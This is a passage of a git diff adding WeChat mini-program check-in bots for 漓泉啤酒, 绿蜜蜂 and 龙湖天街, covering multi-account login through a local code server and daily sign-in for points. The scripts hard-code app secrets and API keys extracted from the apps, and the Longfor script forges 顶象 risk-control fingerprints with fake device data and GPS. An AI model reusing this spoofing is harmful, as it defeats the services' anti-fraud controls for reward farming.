Exception: + pass + time.sleep(3) + resp = session.post(f"{WX_SERVER_URL}/wx/code", data=body, + headers=headers, timeout=30) + resp.raise_for_status() + data = resp.json() + if isinstance(data, dict) and data.get("status") is False: + last_msg = data.get("message") or "获取失败" + continue + code = data.get("code") or (data.get("data") or {}).get("code") + if code: + return code + last_msg = "wx_server 未返回 code" + raise RuntimeError(f"wx_server 获取 code 失败(已重试): {last_msg}") + + +# --------------------------------------------------------------------------- +# 漓泉会员 API +# --------------------------------------------------------------------------- +def api_headers(token=None): + headers = { + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json;charset=UTF-8", + "User-Agent": DEFAULT_UA, + "Referer": f"https://servicewechat.com/{MINI_APP_ID}/0/page-frame.html", + } + if token: + headers["Token"] = token # 请求拦截器: headers.Token = 本地 token + return headers + + +def api_get(path, token=None, params=None): + resp = session.get(f"{BASE_URL}{path}", params=params or {}, + headers=api_headers(token), timeout=30) + resp.raise_for_status() + return resp.json() + + +def api_post(path, body, token=None): + resp = session.post(f"{BASE_URL}{path}", + data=json.dumps(body, ensure_ascii=False).encode("utf-8"), + headers=api_headers(token), timeout=30) + resp.raise_for_status() + return resp.json() + + +def resp_code(resp): + """拦截器口径: errcode 优先, 否则 code。""" + node = resp if isinstance(resp, dict) else {} + for key in ("errcode", "code"): + v = node.get(key) + if v is not None: + try: + return int(v) + except (TypeError, ValueError): + pass + return -1 + + +def resp_msg(resp): + node = resp if isinstance(resp, dict) else {} + for key in ("errmsg", "message", "msg"): + v = node.get(key) + if v: + return str(v) + data = node.get("data") + if isinstance(data, dict) and data.get("error"): + return str(data["error"]) + return "" + + +# --------------------------------------------------------------------------- +# 登录 / 会话 +# --------------------------------------------------------------------------- +def login(openid): + """wx.login code -> wxLogin -> (token, unionId)。code 放在 URL 路径中。""" + code = get_wx_code(openid) + resp = api_get(f"/mbr/members/wxLogin/{code}", params={"appId": MINI_APP_ID}) + if resp_code(resp) != 0: + raise RuntimeError(f"登录失败: {resp_msg(resp) or resp_code(resp)}") + data = resp.get("data") or {} + token = data.get("token") + union_id = data.get("unionid") or (data.get("wxUserInfo") or {}).get("unionId") + if not (token and data.get("b2cMemberId")): + raise RuntimeError("登录响应缺少 token/b2cMemberId, 需在小程序内登录一次后重试") + return token, union_id + + +def obtain_session(openid, index, force=False): + if force: + remove_cached_session(openid) + else: + cached = get_cached_session(openid) + if cached.get("token"): + print(f"账号 {index} 使用缓存 token: {mask(cached['token'])}") + return cached["token"], cached.get("unionId") + token, union_id = login(openid) + save_cached_session(openid, token, union_id) + print(f"账号 {index} 静默登录成功: {mask(token)}") + return token, union_id + + +# --------------------------------------------------------------------------- +# 签到业务 +# --------------------------------------------------------------------------- +def sign_state(token): + return api_get("/b2c/member/sign/task/list", token=token) + + +def do_sign(token): + return api_post("/b2c/member/sign/task", {}, token=token) + + +def points_balance(token, union_id): + """仅读取积分余额用于上报, 失败返回 None (不影响签到结论)。""" + if not union_id: + return None + try: + resp = api_get("/b2c/member/pointsAndCouponCardNumAndShopCardInfo", + token=token, params={"unionId": union_id}) + if resp_code(resp) != SUCCESS_CODE: + return None + vo = (resp.get("data") or {}).get("MemberCouponShopPointsVo") or {} + return vo.get("pointsNum") + except Exception: + return None + + +def sign_res(resp): + data = resp.get("data") if isinstance(resp, dict) else None + if isinstance(data, dict) and isinstance(data.get("signRes"), dict): + return data["signRes"] + return {} + + +def signed_today(res): + """今日已签: signRes.sign 为真, 或今日日期行 signStatus == 'sign'。""" + if res.get("sign") is True: + return True + today = bj_now().strftime("%Y-%m-%d") + for row in res.get("taskSignDtoList") or []: + if row.get("signTime") == today and row.get("signStatus") == SIGNED: + return True + return False + + +def fmt_num(value): + """服务端 signNum 为浮点(1.0), 展示成整数更自然。""" + try: + f = float(value) + return str(int(f)) if f == int(f) else str(f) + except (TypeError, ValueError): + return str(value) + + +def run_account(openid, index): + lines = [f"【账号 {index}】"] + + token, union_id = obtain_session(openid, index) + + # 读取签到状态 (首个鉴权调用); 会话失效则强制重登重试一次 + state = sign_state(token) + if resp_code(state) == SESSION_INVALID_CODE: + print(f"账号 {index} 会话失效, 重新登录...") + token, union_id = obtain_session(openid, index, force=True) + state = sign_state(token) + + scode = resp_code(state) + if scode != SUCCESS_CODE: + msg = resp_msg(state) or f"获取签到状态失败 code={scode}" + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + res = sign_res(state) + + # 幂等预检: 今日已签则不再提交 + if signed_today(res): + msg = f"今日已签到, 无需重复 (本周已签 {fmt_num(res.get('signNum'))} 天)" + print(f"✅ 账号 {index} {msg}") + lines.append(f"✅ {msg}") + pts = points_balance(token, union_id) + if pts is not None: + lines.append(f"当前积分: {pts}") + print(f"账号 {index} 当前积分: {pts}") + return "\n".join(lines), True + + # 执行一次签到 + result = do_sign(token) + rcode = resp_code(result) + if rcode == SESSION_INVALID_CODE: + print(f"账号 {index} 会话失效, 重新登录后重试签到...") + token, union_id = obtain_session(openid, index, force=True) + result = do_sign(token) + rcode = resp_code(result) + + if rcode != SUCCESS_CODE: + msg = resp_msg(result) or f"签到失败 code={rcode}" + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + res = sign_res(result) + if not signed_today(res) and res.get("sign") is not True: + msg = resp_msg(result) or "签到接口返回成功但未标记已签, 请稍后重试" + print(f"⚠️ 账号 {index} {msg}") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + + msg = f"签到成功, 本周已签 {fmt_num(res.get('signNum'))} 天" + print(f"🎉 账号 {index} {msg}") + lines.append(f"🎉 {msg}") + + pts = points_balance(token, union_id) + if pts is not None: + lines.append(f"当前积分: {pts}") + print(f"账号 {index} 当前积分: {pts}") + return "\n".join(lines), True + + +def main(): + raw = os.getenv("lqpj", "") + entries = [x.strip() for x in raw.replace("&", "\n").splitlines() if x.strip()] + + if not entries: + print("❌ 未检测到账号信息(环境变量 lqpj), 退出。") + return + if not WX_AUTH: + print("❌ 未配置 wx_auth, 无法获取 code, 退出。") + return + + print("=============== 漓泉啤酒 签到开始 ===============") + summaries = [] + ok_count = 0 + for i, entry in enumerate(entries, 1): + parts = entry.split("#", 1) + openid = parts[0].strip() + remark = parts[1].strip() if len(parts) > 1 else "" + print(f"\n-------------- 账号 {i}{('/' + remark) if remark else ''} --------------") + try: + summary, ok = run_account(openid, i) + summaries.append(summary) + ok_count += 1 if ok else 0 + except Exception as e: + print(f"❌ 账号 {i} 执行异常: {e}") + summaries.append(f"【账号 {i}】\n❌ 执行异常: {e}") + time.sleep(1) + + print("\n=============== 漓泉啤酒 签到结束 ===============") + title = f"漓泉啤酒签到 {ok_count}/{len(entries)} 成功" + try: + send(title, "\n\n".join(summaries)) + except Exception as e: + print(f"⚠️ 通知发送失败: {e}") + + +if __name__ == "__main__": + main() diff --git a/wxapp/lmf.js b/wxapp/lmf.js new file mode 100644 index 00000000..149dc2fb --- /dev/null +++ b/wxapp/lmf.js @@ -0,0 +1,260 @@ +/* +------------------------------------------ +@Description: 绿蜜蜂 - 微信小程序静默登录 + 每日签到 +cron: 22 8 * * * +------------------------------------------ +变量名:lmf +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx6fcde446296d9588,host lmf.lvmifo.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +两级 token: + access-token(应用级,全账号共用): + signature = md5(`app_id=&app_secret=&device_id=&rand_str=×tamp=`) + device_id = `<4位随机>` + POST /api/5a60c77b79875?appType=WX_APP form{app_id,device_id,rand_str,timestamp,signature} + -> code==1,data.access_token + user-token(账号级,用 wx.login code 换): + POST /api/5e05692405c63 头 access-token form{code} + -> code==1,data.utoken;无 utoken = 未注册/失败 +签到 GET /api/5dca57afa379e?m=toSign 头 access-token + user-token + -> code==1 成功(data.get_integral/get_red_packet);已签在 msg +校验 GET /api/5dca57afa379e?m=getUserInfo -> code==1(用于校验缓存 user-token) +APP_ID/APP_SECRET/RAND_STR 是这家小程序固定应用签名常量(原脚本硬编码,非个人凭证; +微信 code2session 由 lmf.lvmifo.com 服务端完成,无需微信 AppSecret)。 +注:原脚本另有自动提现(cashApply),涉及资金转出,本迁移只做签到,不含提现。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("绿蜜蜂签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "lmf"; +const MINI_APP_ID = "wx6fcde446296d9588"; +const PAGE_VERSION = "320"; +const API_BASE = "https://lmf.lvmifo.com/api"; +const API_VERSION = "v1.0.0"; +const APP_ID = "75762944"; +const APP_SECRET = "ZNsLuCwAnnrDuQuyvTQcGpthsmASHSeG"; +const RAND_STR = "lv_mi_feng_uni_app"; +const ACCESS_TTL_MS = 2 * 3600 * 1000; // access-token 缓存 2 小时 +const TOKEN_CACHE_FILE = path.join(__dirname, "lmf_token_cache.json"); +const ACCESS_KEY = "__access__"; +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; +const REFERER = `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`; + +const EP_ACCESS = "/5a60c77b79875?appType=WX_APP"; +const EP_UTOKEN = "/5e05692405c63"; +const EP_USERINFO = "/5dca57afa379e?m=getUserInfo"; +const EP_SIGN = "/5dca57afa379e?m=toSign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5(s) { + return crypto.createHash("md5").update(s, "utf8").digest("hex"); +} +function buildHeaders(accessToken = "", userToken = "") { + return { + Accept: "*/*", + "Accept-Language": "zh-CN,zh;q=0.9", + "Content-Type": "application/x-www-form-urlencoded", + Referer: REFERER, + "User-Agent": UA, + "access-token": accessToken, + "user-token": userToken, + version: API_VERSION, + xweb_xhr: "1", + lat: "", + lng: "", + "this-shop-id": "0", + }; +} +function formEncode(obj) { + const p = new URLSearchParams(); + for (const k of Object.keys(obj)) p.append(k, String(obj[k])); + return p.toString(); +} + +// ---- 应用级 access-token(全账号共用,带缓存/自动刷新) ---- +let SHARED_ACCESS = ""; +async function fetchAccessToken() { + const timestamp = Math.floor(Date.now() / 1000); + const deviceId = `${timestamp}${Math.floor(Math.random() * 9000) + 1000}`; + const material = + `app_id=${APP_ID}&app_secret=${APP_SECRET}&device_id=${deviceId}` + + `&rand_str=${RAND_STR}×tamp=${timestamp}`; + const signature = md5(material); + const body = { app_id: APP_ID, device_id: deviceId, rand_str: RAND_STR, timestamp, signature }; + const res = await axios.request({ + method: "POST", url: `${API_BASE}${EP_ACCESS}`, data: formEncode(body), + headers: buildHeaders(), timeout: 20000, validateStatus: () => true, + }); + const d = res.data || {}; + if (Number(d.code) === 1 && d.data && d.data.access_token) { + return String(d.data.access_token); + } + throw new Error(`获取 access-token 失败: ${d.msg || short(d)}`); +} +async function getAccessToken(forceRefresh = false) { + if (!forceRefresh && SHARED_ACCESS) return SHARED_ACCESS; + const cache = readCache(); + const acc = cache[ACCESS_KEY] || {}; + if (!forceRefresh && acc.token && Number(acc.expireTime) > Date.now()) { + SHARED_ACCESS = String(acc.token); + return SHARED_ACCESS; + } + const token = await fetchAccessToken(); + cache[ACCESS_KEY] = { token, expireTime: Date.now() + ACCESS_TTL_MS }; + writeCache(cache); + SHARED_ACCESS = token; + return token; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; // user-token (utoken) + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async fetchUserToken(accessToken, code) { + const res = await axios.request({ + method: "POST", url: `${API_BASE}${EP_UTOKEN}`, data: formEncode({ code }), + headers: buildHeaders(accessToken), timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + async login() { + let accessToken = await getAccessToken(); + const code = await this.getCode(); + let res = await this.fetchUserToken(accessToken, code); + // access-token 失效时刷新一次重试(换 token 需要新的 code) + if (Number(res.code) !== 1) { + const msg = String(res.msg || res.message || ""); + if (/access|token|签名|signature|设备|device|过期|失效|重新/i.test(msg)) { + this.log("access-token 可能失效,刷新后重试"); + accessToken = await getAccessToken(true); + const code2 = await this.getCode(); + res = await this.fetchUserToken(accessToken, code2); + } + } + if (Number(res.code) === 1 && res.data && res.data.utoken) { + this.token = String(res.data.utoken); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + return; + } + // code!=1 且无 utoken:多为该微信号未注册绿蜜蜂 + throw new Error(`NO_ACCOUNT:登录未返回 utoken(可能未注册): ${res.msg || res.message || short(res)}`); + } + async validateUserToken() { + try { + const accessToken = await getAccessToken(); + const res = await axios.request({ + method: "GET", url: `${API_BASE}${EP_USERINFO}`, + headers: buildHeaders(accessToken, this.token), timeout: 20000, validateStatus: () => true, + }); + return Number((res.data || {}).code) === 1; + } catch (e) { return false; } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.validateUserToken()) { this.log("使用缓存token"); return; } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + async doSign(accessToken) { + const res = await axios.request({ + method: "GET", url: `${API_BASE}${EP_SIGN}`, + headers: buildHeaders(accessToken, this.token), timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + async sign(retry = true) { + const accessToken = await getAccessToken(); + const res = await this.doSign(accessToken); + if (Number(res.code) === 1) { + const d = res.data || {}; + const parts = []; + if (d.get_integral !== undefined) parts.push(`积分+${d.get_integral}`); + if (d.get_red_packet !== undefined) parts.push(`余额+${d.get_red_packet}`); + return this.log(`✅ 签到成功${parts.length ? "," + parts.join(",") : ""}`); + } + const msg = res.msg || res.message || short(res); + if (/已签|签到过|重复|已完成|今日/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|重新/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在绿蜜蜂注册/登录,先在小程序里登录一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/longfor.js b/wxapp/longfor.js new file mode 100644 index 00000000..aeafb65b --- /dev/null +++ b/wxapp/longfor.js @@ -0,0 +1,551 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 龙湖天街小程序签到 +cron: 35 8 * * * +------------------------------------------ +变量名:longfor +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 + +可选变量: +longfor_dx_token 手动指定顶象 constID +longfor_gps 指定 gps,经纬度格式:longitude,latitude +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("龙湖天街签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx50282644351869da"; +const PAGE_VERSION = "506"; +const API_VERSION = "v1_25_0"; +const APP_VERSION = "1.25.0"; +const CHANNEL = "C2"; +const BU_CODE = "C20400"; +const BASE_HOST = "https://gw2c-hw-open.longfor.com/supera"; +const MEMBER_HOST = `${BASE_HOST}/member`; +const TASK_HOST = "https://gw2c-hw-open.longfor.com/lmarketing-task-api-mvc-prod"; +const MEMBER_GAIA_KEY = "98717e7a-a039-46af-8143-be7558a089c0"; +const TASK_GAIA_KEY = "c06753f1-3e68-437d-b592-b94656ea5517"; +const MINI_SIGN_SECRET = "Q74eKtH5LePYfSjIiflUbCL2gxjTa7rF"; +const DX_MINI_CONFIG = { + appId: "d1a43734fc59aeae9f1562dbd70fdf54", + server: "https://ly-sta.longhu.net/udid/w1", + cache: true, + gps: true, +}; +const DX_ALPHABET = "S0DOZN9bBJyPV-qczRa3oYvhGlUMrdjW7m2CkE5_FuKiTQXnwe6pg8fs4HAtIL1x="; +const DX_LID_KEY = "_dx_uzZo5y"; +const DX_TOKEN_KEY = "_dx_raAh8q"; +const DX_STORAGE = new Map(); +const DX_KEY_MAP = { + SDKVersion: "sv", + accuracy: "ac", + altitude: "att", + available: "al", + batteryLevel: "bl", + benchmarkLevel: "bml", + brand: "bd", + BSSID: "bs", + collectTime: "ct", + discovering: "dc", + fontSizeSetting: "fss", + horizontalAccuracy: "ha", + language: "lang", + latitude: "lt", + longitude: "lgt", + model: "md", + networkType: "nt", + pixelRatio: "pr", + platform: "pf", + screenHeight: "sh", + screenWidth: "sw", + secure: "se", + speed: "sp", + signalStrength: "ss", + statusBarHeight: "", + supportMode: "sm", + system: "sy", + SSID: "si", + version: "vs", + verticalAccuracy: "va", + windowHeight: "wh", + windowWidth: "ww", + gps: "gps", +}; +const TOKEN_CACHE_FILE = path.join(__dirname, "longfor_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "longfor"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortValue(value = "") { + const text = String(value || ""); + return text ? `${text.slice(0, 4)}***${text.slice(-4)}` : ""; +} + +function uuid() { + return crypto.randomUUID().replace(/-/g, ""); +} + +function canonicalize(data = {}) { + return Object.keys(data || {}) + .sort() + .map((key) => { + let value = data[key]; + if (Array.isArray(value)) { + let text = "["; + if (!value.length) text += "]"; + value.forEach((item, index) => { + if (Array.isArray(item)) text += JSON.stringify(item); + else if (typeof item === "object" && item !== null) text += `{${canonicalize(item)}}`; + else text += item; + text += index < value.length - 1 ? "," : "]"; + }); + value = text; + } else if (typeof value === "object" && value !== null) { + value = `{${canonicalize(value)}}`; + } + return `${value}`.trim() && `${value}` !== "null" ? `${key}=${value}` : ""; + }) + .filter(Boolean) + .join("|"); +} + +function miniSign(data) { + const timestamp = Date.now().toString(); + const body = canonicalize(JSON.parse(JSON.stringify(data || {}))); + const raw = `${body ? `${body}&` : ""}${timestamp}&${MINI_SIGN_SECRET}`; + return { + "X-LONGZHU-TimeStamp": timestamp, + "X-Client-Type": "microApp", + "X-LONGZHU-Sign": crypto.createHash("md5").update(raw).digest("hex"), + }; +} + +function dxMakeLocalId(length = 32) { + const chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + let value = ""; + for (let i = 0; i < length; i++) value += chars.charAt(Math.floor(Math.random() * chars.length)); + return value; +} + +function dxEncrypt(data) { + const text = JSON.stringify(data) || ""; + let output = ""; + for (let index = 0; index < text.length; ) { + const first = text.charCodeAt(index++); + const second = text.charCodeAt(index++); + const third = text.charCodeAt(index++); + const a = first >> 2; + const b = ((first & 3) << 4) | (second >> 4); + let c = ((second & 15) << 2) | (third >> 6); + let d = third & 63; + if (Number.isNaN(second)) c = d = 64; + else if (Number.isNaN(third)) d = 64; + output += DX_ALPHABET.charAt(a) + DX_ALPHABET.charAt(b) + DX_ALPHABET.charAt(c) + DX_ALPHABET.charAt(d); + } + return output; +} + +function dxSelectMethod(param) { + return param && param.length > 1024 ? "POST" : "GET"; +} + +function dxShorten(data = {}) { + const output = {}; + for (const key in data) output[DX_KEY_MAP[key] ? DX_KEY_MAP[key] : key] = data[key]; + return output; +} + +function dxSystemInfo() { + return { + brand: "microsoft", + model: "Windows WeChat", + pixelRatio: 1, + screenWidth: 414, + screenHeight: 896, + windowWidth: 414, + windowHeight: 896, + statusBarHeight: 0, + language: "zh_CN", + version: "8.0.58", + system: "Windows 10 x64", + platform: "windows", + fontSizeSetting: 16, + SDKVersion: "3.9.12", + benchmarkLevel: 1, + batteryLevel: 100, + }; +} + +async function dxCollect(options = {}) { + const start = Date.now(); + const data = { + networkType: "wifi", + ...dxSystemInfo(), + }; + if (options.gps) data.gps = process.env.longfor_gps || "116.397128,39.916527"; + data.collectTime = Date.now() - start; + return dxShorten(data); +} + +class MiniDxConstId { + constructor(options = {}) { + this.options = { ...DX_MINI_CONFIG, ...options }; + this.options.appId = this.options.appId || this.options.appKey; + if (!this.options.server || !this.options.appId) throw new Error("missing dx server/appId"); + } + + getToken() { + return DX_STORAGE.get(DX_TOKEN_KEY) || ""; + } + + setToken(token) { + DX_STORAGE.set(DX_TOKEN_KEY, token); + } + + async getLid() { + const lid = DX_STORAGE.get(DX_LID_KEY) || `${Date.now()}${dxMakeLocalId()}`; + DX_STORAGE.set(DX_LID_KEY, lid); + return lid; + } + + mergeOptions(extra = {}) { + const data = { ...extra }; + ["appId", "userId", "openId", "scene"].forEach((key) => { + if (this.options[key]) data[key] = encodeURIComponent(this.options[key]); + }); + data.appKey = data.appId; + delete data.appId; + return data; + } + + async request(param, token = "") { + const method = dxSelectMethod(param); + const options = { + method, + url: this.options.server, + headers: { + Param: method === "POST" ? "" : param, + "If-None-Match": token, + "Content-Type": "application/x-www-form-urlencoded", + }, + timeout: 15000, + validateStatus: () => true, + }; + if (method === "POST") options.data = new URLSearchParams({ Param: param }).toString(); + else options.params = { Param: "" }; + const { data } = await axios.request(options); + return data; + } + + async detect() { + const lid = await this.getLid(); + const collected = await dxCollect(this.options); + const param = dxEncrypt(this.mergeOptions({ lid, ...collected })); + const data = await this.request(param, ""); + if (Number(data.status) === 2) { + this.setToken(data.data); + return data.data; + } + throw new Error(`dx status: ${data.status}`); + } + + async generate() { + const lid = await this.getLid(); + const param = dxEncrypt(this.mergeOptions({ lid, cache: !!this.options.cache })); + const data = await this.request(param, this.getToken()); + const status = Number(data.status); + if (status === 1 || status === 2) { + this.setToken(data.data); + return data.data; + } + if (status === -4 && data.data) { + DX_STORAGE.set(DX_LID_KEY, data.data); + return this.detect(); + } + return this.detect(); + } +} + +async function getDxToken() { + if (process.env.longfor_dx_token) return process.env.longfor_dx_token; + return new MiniDxConstId().generate(); +} + +function ok(code) { + return ["200", "0000", "10000"].includes(String(code)); +} + +function tokenError(error) { + return /token|登录|授权|未登录|801007|900005|900006/i.test(String(error?.message || error)); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.token = ""; + this.lmid = ""; + this.expire = 0; + this.activityNo = ""; + } + + applyToken(data = {}) { + this.token = data.token || ""; + this.lmid = data.lmid || ""; + this.expire = Number(data.expire || 0); + } + + getCachedToken() { + const item = readCache()[this.account]; + if (!item?.token) return null; + if (item.expireAt && Number(item.expireAt) < Date.now() + 60000) return null; + return item; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readCache(); + cache[this.account] = { + token: this.token, + lmid: this.lmid, + expireAt: this.expire ? Date.now() + this.expire * 1000 : 0, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeCachedToken() { + const cache = readCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeCache(cache); + } + this.token = ""; + this.lmid = ""; + this.expire = 0; + } + + miniHeaders(data = null, member = false) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Content-Type": "application/json", + "lmToken": this.token || "", + "X-LF-Bucode": BU_CODE, + "X-LF-App-Version": APP_VERSION, + "X-LF-RequestId": uuid(), + "X-LF-Channel": CHANNEL, + "X-LF-Api-Version": API_VERSION, + }; + if (member) headers["X-Gaia-Api-Key"] = MEMBER_GAIA_KEY; + if (data) Object.assign(headers, miniSign(data)); + return headers; + } + + taskHeaders(dxToken = "") { + const headers = { + "User-Agent": USER_AGENT, + "Referer": "https://longzhu.longfor.com/longball-homeh5/", + "Content-Type": "application/json;charset=UTF-8", + "X-GAIA-API-KEY": TASK_GAIA_KEY, + "token": this.token, + "X-LF-UserToken": this.token, + "X-LF-Channel": CHANNEL, + "X-LF-Bu-Code": BU_CODE, + }; + if (dxToken) { + headers["X-LF-DXRisk-Token"] = dxToken; + headers["X-LF-DXRisk-Source"] = 3; + headers["X-LF-DXRisk-Captcha-Token"] = ""; + } + return headers; + } + + async miniPost(url, data, member = false) { + const { data: result, status } = await axios.post(url, data, { + headers: this.miniHeaders(data, member), + timeout: 20000, + validateStatus: () => true, + }); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!ok(result?.code)) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async taskPost(pathname, data, dxToken = "") { + const { data: result, status } = await axios.post(`${TASK_HOST}${pathname}`, data, { + headers: this.taskHeaders(dxToken), + timeout: 20000, + validateStatus: () => true, + }); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + return result; + } + + async getLoginCode() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.account); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + const checkData = { + appId: MINI_APP_ID, + thirdType: "WX_APPLET", + fingerprint: "", + authCode: await this.getLoginCode(), + }; + const check = await this.miniPost(`${BASE_HOST}/mine/${API_VERSION}/publicApi/login/checkLoginType`, checkData); + const loginData = { + appId: MINI_APP_ID, + authCode: await this.getLoginCode(), + isNew: false, + thirdType: "WX_APPLET", + fingerprint: "", + ticket: check?.ticket || "", + }; + const login = await this.miniPost(`${BASE_HOST}/mine/${API_VERSION}/publicApi/login/loginByMiniApp`, loginData); + this.applyToken(login); + if (!this.token) throw new Error(`登录响应未返回 token: ${JSON.stringify(login)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: token=${shortValue(this.token)} lmid=${shortValue(this.lmid)}`); + } + + findActivityNo(payload) { + return (JSON.stringify(payload || {}).match(/activity_no=([0-9]+)/) || [])[1] || ""; + } + + async getPageConfig() { + const data = await this.miniPost( + `${MEMBER_HOST}/api/bff/pages/${API_VERSION}/publicApi/v1/pageConfig`, + { pageCode: "C2mine" }, + true + ); + this.activityNo = this.findActivityNo(data); + return data; + } + + async checkToken() { + try { + await this.getPageConfig(); + return true; + } catch (e) { + return false; + } + } + + async getPageInfo() { + const result = await this.taskPost("/openapi/task/v1/signature/page-info", { activity_no: this.activityNo }); + if (!ok(result?.code)) throw new Error(result?.message || result?.msg || JSON.stringify(result)); + return result.data || {}; + } + + todaySigned(pageInfo) { + const today = Array.isArray(pageInfo?.seven_days_signs) ? pageInfo.seven_days_signs[0] : {}; + return Number(today?.sign_status) === 20; + } + + rewardText(rewards = []) { + if (!Array.isArray(rewards)) return ""; + return rewards + .map((item) => { + const num = item?.reward_num || item?.num || item?.amount; + const name = item?.reward_name || item?.reward_type_name || item?.unit || ""; + return num ? `${name}${num}` : ""; + }) + .filter(Boolean) + .join(","); + } + + async signIn() { + await this.getPageConfig(); + if (!this.activityNo) throw new Error("未在会员页配置中找到签到 activity_no"); + + const pageInfo = await this.getPageInfo(); + $.log(`账号[${this.index}] 活动: ${pageInfo.task_name || "签到"} 今日=${this.todaySigned(pageInfo) ? "已签到" : "未签到"}`); + if (this.todaySigned(pageInfo)) return; + + const dxToken = await getDxToken(); + $.log(`账号[${this.index}] 风控指纹${dxToken ? "获取成功" : "获取失败,直接尝试"}`); + + const result = 